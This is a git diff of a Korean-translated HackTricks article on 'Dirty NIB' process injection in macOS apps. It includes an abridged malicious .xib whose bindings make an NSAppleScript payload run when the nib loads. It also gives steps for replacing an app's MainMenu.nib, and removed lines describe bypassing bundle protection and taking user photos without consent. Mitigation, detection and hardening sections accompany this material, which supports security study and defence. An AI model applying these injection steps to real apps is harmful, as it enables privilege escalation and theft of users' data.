Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-08-26 17:15:25 +00:00
parent fa5c6ffc12
commit fcecde015d

View File

@ -1,73 +1,149 @@
# macOS 더러운 NIB
# macOS Dirty NIB
{{#include ../../../banners/hacktricks-training.md}}
**기술에 대한 자세한 내용은 다음 원본 게시물을 확인하세요:** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/) 및 [**https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/**](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)의 다음 게시물. 여기 요약이 있습니다:
Dirty NIB는 서명된 macOS 앱 번들 내부의 Interface Builder 파일(.xib/.nib)을 악용해 대상 프로세스 내부에서 공격자가 제어하는 로직을 실행하고, 그 결과 해당 프로세스의 entitlements 및 TCC 권한을 상속받는 기법을 말합니다. 이 기법은 원래 xpn (MDSec)이 문서화했으며, 이후 Sector7이 이를 일반화하고 크게 확장하면서 macOS 13 Ventura와 macOS 14 Sonoma에서 Apple이 도입한 완화책도 다뤘습니다. 배경과 심층 분석은 문서 끝의 참조를 참조하세요.
### Nib 파일이란
> TL;DR
> • Before macOS 13 Ventura: 번들의 MainMenu.nib(또는 시작 시 로드되는 다른 nib)를 교체하면 process injection을 안정적으로 달성할 수 있었고, 종종 privilege escalation으로 이어졌습니다.
> • Since macOS 13 (Ventura) and improved in macOS 14 (Sonoma): firstlaunch deep verification, bundle protection, Launch Constraints, 및 새로운 TCC “App Management” 권한으로 인해 관련 없는 앱이 실행 후 nib을 변조하는 것이 대부분 차단됩니다. 다만 동일 개발자(tooling)가 자체 앱을 수정하는 경우나 사용자가 터미널에 App Management/Full Disk Access를 부여한 경우 등 일부 틈새 상황에서는 공격이 여전히 가능할 수 있습니다.
Nib(NeXT Interface Builder의 약자) 파일은 Apple의 개발 생태계의 일부로, 애플리케이션의 **UI 요소** 및 그 상호작용을 정의하는 데 사용됩니다. 이들은 창 및 버튼과 같은 직렬화된 객체를 포함하며 런타임에 로드됩니다. 지속적으로 사용되고 있지만, Apple은 이제 더 포괄적인 UI 흐름 시각화를 위해 Storyboards를 권장합니다.
주요 Nib 파일은 애플리케이션의 `Info.plist` 파일 내의 **`NSMainNibFile`** 값에서 참조되며, 애플리케이션의 `main` 함수에서 실행되는 **`NSApplicationMain`** 함수에 의해 로드됩니다.
## What are NIB/XIB files
### 더러운 Nib 주입 프로세스
Nib (short for NeXT Interface Builder) 파일은 AppKit 앱에서 사용하는 직렬화된 UI 객체 그래프입니다. 최신 Xcode는 편집 가능한 XML .xib 파일을 저장하며, 빌드 시 이를 .nib로 컴파일합니다. 일반적인 앱은 `NSApplicationMain()`을 통해 메인 UI를 로드하며, 이 함수는 앱의 Info.plist에서 `NSMainNibFile` 키를 읽어 런타임에 객체 그래프를 인스턴스화합니다.
#### NIB 파일 생성 및 설정
Key points that enable the attack:
- NIB loading은 NSSecureCoding을 준수할 것을 요구하지 않고 임의의 ObjectiveC 클래스를 인스턴스화할 수 있습니다 (Apple의 nib loader는 `initWithCoder:`가 없을 때 `init`/`initWithFrame:`으로 폴백합니다).
- Cocoa Bindings는 nib가 인스턴스화될 때 메서드를 호출하도록 악용될 수 있으며, 사용자 상호작용 없이도 동작하는 연쇄 호출(chained calls)을 포함할 수 있습니다.
1. **초기 설정**:
- XCode를 사용하여 새 NIB 파일을 생성합니다.
- 인터페이스에 객체를 추가하고, 그 클래스는 `NSAppleScript`로 설정합니다.
- 사용자 정의 런타임 속성을 통해 초기 `source` 속성을 구성합니다.
2. **코드 실행 가젯**:
- 이 설정은 필요에 따라 AppleScript를 실행할 수 있게 합니다.
- `Apple Script` 객체를 활성화하는 버튼을 통합하여 `executeAndReturnError:` 선택자를 트리거합니다.
3. **테스트**:
- 테스트 목적으로 간단한 Apple Script:
## Dirty NIB injection process (attacker view)
```bash
고전적인 preVentura 흐름:
1) Create a malicious .xib
- Add an `NSAppleScript` object (or other “gadget” classes such as `NSTask`).
- Add an `NSTextField` whose title contains the payload (e.g., AppleScript or command arguments).
- Add one or more `NSMenuItem` objects wired via bindings to call methods on the target object.
2) Autotrigger without user clicks
- 바인딩을 사용해 메뉴 아이템의 target/selector를 설정한 다음 비공개 메서드 `_corePerformAction`을 호출하여 nib 로드 시 액션이 자동으로 실행되게 합니다. 이렇게 하면 사용자가 버튼을 클릭할 필요가 없어집니다.
Minimal example of an autotrigger chain inside a .xib (abridged for clarity):
```xml
<objects>
<customObject id="A1" customClass="NSAppleScript"/>
<textField id="A2" title="display dialog \"PWND\""/>
<!-- Menu item that will call -initWithSource: on NSAppleScript with A2.title -->
<menuItem id="C1">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="initWithSource:"/>
<binding name="Argument" destination="A2" keyPath="title"/>
</connections>
</menuItem>
<!-- Menu item that will call -executeAndReturnError: on NSAppleScript -->
<menuItem id="C2">
<connections>
<binding name="target" destination="A1"/>
<binding name="selector" keyPath="executeAndReturnError:"/>
</connections>
</menuItem>
<!-- Triggers that autopress the above menu items at load time -->
<menuItem id="T1"><connections><binding keyPath="_corePerformAction" destination="C1"/></connections></menuItem>
<menuItem id="T2"><connections><binding keyPath="_corePerformAction" destination="C2"/></connections></menuItem>
</objects>
```
이로써 nib 로드 시 대상 프로세스에서 임의의 AppleScript 실행이 가능해진다. 고급 체인은 다음을 수행할 수 있다:
- 임의의 AppKit 클래스(예: `NSTask`)를 인스턴스화하고 `-launch` 같은 인수 없는 메서드를 호출한다.
- 위의 binding trick을 통해 객체 인수를 가진 임의의 selector를 호출한다.
- AppleScriptObjC.framework를 로드해 ObjectiveC로 브리지하고 선택된 C API를 호출할 수도 있다.
- 여전히 Python.framework를 포함하는 구형 시스템에서는 Python으로 브리지한 다음 `ctypes`로 임의의 C 함수를 호출할 수 있다 (Sector7s research).
3) 앱의 nib 교체
- target.app을 쓰기 가능한 위치로 복사하고, 예를 들어 `Contents/Resources/MainMenu.nib`을 악성 nib으로 교체한 다음 target.app을 실행한다. PreVentura에서는 일회성 Gatekeeper 평가 이후 후속 실행 시 얕은 서명 검사만 수행되어 비실행 리소스(예: .nib)는 재검증되지 않았다.
Example AppleScript payload for a visible test:
```applescript
set theDialogText to "PWND"
display dialog theDialogText
```
## 최신 macOS 보호 기능 (Ventura/Monterey/Sonoma/Sequoia)
- XCode 디버거에서 실행하고 버튼을 클릭하여 테스트합니다.
Apple은 현대 macOS에서 Dirty NIB의 실효성을 크게 줄이는 여러 전반적인 완화책을 도입했습니다:
- Firstlaunch deep verification and bundle protection (macOS 13 Ventura)
- 앱이 처음 실행될 때(격리(quarantined) 여부와 관계없이), 번들의 모든 리소스에 대해 심층 서명 검사가 수행됩니다. 이후 번들은 보호 상태가 되어 동일 개발자(또는 앱에서 명시적으로 허용한 경우)의 앱만 번들 내용을 수정할 수 있습니다. 다른 앱이 다른 앱의 번들에 쓰기하려면 새로운 TCC “App Management” 권한이 필요합니다.
- Launch Constraints (macOS 13 Ventura)
- System/Applebundled 앱은 다른 위치로 복사하여 실행할 수 없게 되었습니다. 이는 OS 앱에 대해 "copy to /tmp, patch, run" 방식의 접근을 무력화합니다.
- Improvements in macOS 14 Sonoma
- Apple은 App Management를 강화하고 Sector7이 지적한 알려진 우회 기법들(예: CVE202340450)을 수정했습니다. 또한 Python.framework는 이전(macOS 12.3)에서 제거되어 일부 권한 상승 체인을 깨뜨렸습니다.
- Gatekeeper/Quarantine changes
- 이 기법에 영향을 준 Gatekeeper, provenance 및 assessment 변경 사항에 대한 더 광범위한 논의는 아래 참조 페이지를 확인하십시오.
#### 애플리케이션 타겟팅 (예: Pages)
> Practical implication
> • Ventura 이상에서는 프로세스가 App Management 권한을 갖고 있거나 대상과 동일한 Team ID로 서명되지 않는 한, 일반적으로 타사 앱의 .nib를 수정할 수 없습니다(예: 개발자 도구).
> • 쉘/터미널에 App Management 또는 Full Disk Access를 부여하면 해당 터미널의 컨텍스트 내에서 코드를 실행할 수 있는 모든 것이 이 공격 표면을 사실상 다시 열게 됩니다.
1. **준비**:
- 타겟 앱(예: Pages)을 별도의 디렉토리(예: `/tmp/`)에 복사합니다.
- Gatekeeper 문제를 피하고 캐시를 위해 앱을 시작합니다.
2. **NIB 파일 덮어쓰기**:
- 기존 NIB 파일(예: About Panel NIB)을 제작한 DirtyNIB 파일로 교체합니다.
3. **실행**:
- 앱과 상호작용하여 실행을 트리거합니다(예: `About` 메뉴 항목 선택).
#### 개념 증명: 사용자 데이터 접근
### Launch Constraints 대응
- 사용자 동의 없이 사진과 같은 사용자 데이터에 접근하고 추출하도록 AppleScript를 수정합니다.
Launch Constraints는 Ventura부터 기본 위치가 아닌 곳에서 많은 Apple 앱의 실행을 차단합니다. Apple 앱을 임시 디렉토리로 복사하고, `MainMenu.nib`를 수정한 뒤 실행하는 것과 같은 preVentura 워크플로에 의존했다면, macOS >= 13.0에서는 실패할 것으로 예상하세요.
### 코드 샘플: 악성 .xib 파일
- 임의의 코드를 실행하는 [**악성 .xib 파일 샘플**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)을 접근하고 검토합니다.
## 대상 및 nib 열거 (연구 / 레거시 시스템에 유용)
### 다른 예
- UI가 nibdriven인 앱 찾기:
```bash
find /Applications -maxdepth 2 -name Info.plist -exec sh -c \
'for p; do if /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" >/dev/null 2>&1; \
then echo "[+] $(dirname "$p") uses NSMainNibFile=$( /usr/libexec/PlistBuddy -c "Print :NSMainNibFile" "$p" )"; fi; done' sh {} +
```
- 번들 내부에서 후보 nib 리소스를 찾기:
```bash
find target.app -type f \( -name "*.nib" -o -name "*.xib" \) -print
```
- 코드 서명을 깊이 검증하세요(리소스를 변경했고 다시 서명하지 않았다면 실패합니다):
```bash
codesign --verify --deep --strict --verbose=4 target.app
```
> 참고: 최신 macOS에서는 적절한 권한 없이 다른 앱의 번들에 쓰기를 시도하면 bundle protection/TCC에 의해 차단됩니다.
게시물 [https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/](https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/)에서 더러운 nib을 만드는 방법에 대한 튜토리얼을 찾을 수 있습니다.
### 실행 제약 사항 해결
## 탐지 및 DFIR 팁
- 실행 제약 사항은 예상치 못한 위치(예: `/tmp`)에서 앱 실행을 방해합니다.
- 실행 제약 사항으로 보호되지 않는 앱을 식별하고 NIB 파일 주입을 위해 타겟팅할 수 있습니다.
- 번들 리소스의 파일 무결성 모니터링
- 설치된 앱의 `Contents/Resources/*.nib` 및 기타 비실행 리소스에 대한 mtime/ctime 변경 감시
- 통합 로그 및 프로세스 동작
- GUI 앱 내부에서 예상치 못한 AppleScript 실행 및 AppleScriptObjC 또는 Python.framework을 로드하는 프로세스 감시. 예:
```bash
log stream --info --predicate 'processImagePath CONTAINS[cd] ".app/Contents/MacOS/" AND (eventMessage CONTAINS[cd] "AppleScript" OR eventMessage CONTAINS[cd] "loadAppleScriptObjectiveCScripts")'
```
- 사전 점검
- 중요한 앱에 대해 주기적으로 `codesign --verify --deep`를 실행하여 리소스가 온전한지 확인
- 권한 컨텍스트
- 누가/무엇이 TCC의 “App Management” 또는 Full Disk Access 권한을 갖고 있는지 감사(특히 터미널과 관리 에이전트). 일반‑목적 셸에서 이러한 권한을 제거하면 쉽게 Dirty NIB스타일 변조를 재활성화하는 것을 방지할 수 있음
### 추가 macOS 보호 조치
macOS Sonoma 이후로 앱 번들 내 수정이 제한됩니다. 그러나 이전 방법은 다음과 같았습니다:
## 방어적 하드닝 (개발자 및 방어 담당자)
1. 앱을 다른 위치(예: `/tmp/`)로 복사합니다.
2. 초기 보호를 우회하기 위해 앱 번들 내 디렉토리 이름을 변경합니다.
3. Gatekeeper에 등록하기 위해 앱을 실행한 후, 앱 번들을 수정합니다(예: MainMenu.nib를 Dirty.nib로 교체).
4. 디렉토리 이름을 다시 변경하고 앱을 재실행하여 주입된 NIB 파일을 실행합니다.
- 가능하면 프로그래밍 방식 UI를 사용하거나 nib에서 인스턴스화되는 것을 제한하세요. nib 그래프에 강력한 클래스(예: `NSTask`)를 포함하지 말고 임의 객체에 대해 셀렉터를 간접 호출하는 바인딩을 피하세요.
- Library Validation이 적용된 hardened runtime 채택(현대 앱에서는 이미 표준). 이것만으로 nib injection을 막을 수는 없지만, 네이티브 코드의 쉬운 로드를 차단해 공격자를 스크립트 전용 페이로드로 밀어넣습니다.
- 일반 목적 도구에서 광범위한 App Management 권한을 요청하거나 의존하지 마세요. MDM이 App Management를 요구하는 경우, 해당 컨텍스트를 사용자 주도의 쉘과 분리하세요.
- 앱 번들의 무결성을 정기적으로 검증하고 업데이트 메커니즘이 번들 리소스를 자동 복구(selfheal)하도록 만드세요.
**참고**: 최근 macOS 업데이트는 Gatekeeper 캐싱 후 앱 번들 내 파일 수정을 방지하여 이 익스플로잇을 무효화했습니다.
## Related reading in HackTricks
Learn more about Gatekeeper, quarantine and provenance changes that affect this technique:
{{#ref}}
../macos-security-protections/macos-gatekeeper.md
{{#endref}}
## 참고 자료
- xpn DirtyNIB (원본 설명, Pages 예시): https://blog.xpnsec.com/dirtynib/
- Sector7 Bringing process injection into view(s): nib 파일을 사용하여 모든 macOS 앱을 악용하기 (April 5, 2024): https://sector7.computest.nl/post/2024-04-bringing-process-injection-into-view-exploiting-all-macos-apps-using-nib-files/
{{#include ../../../banners/hacktricks-training.md}}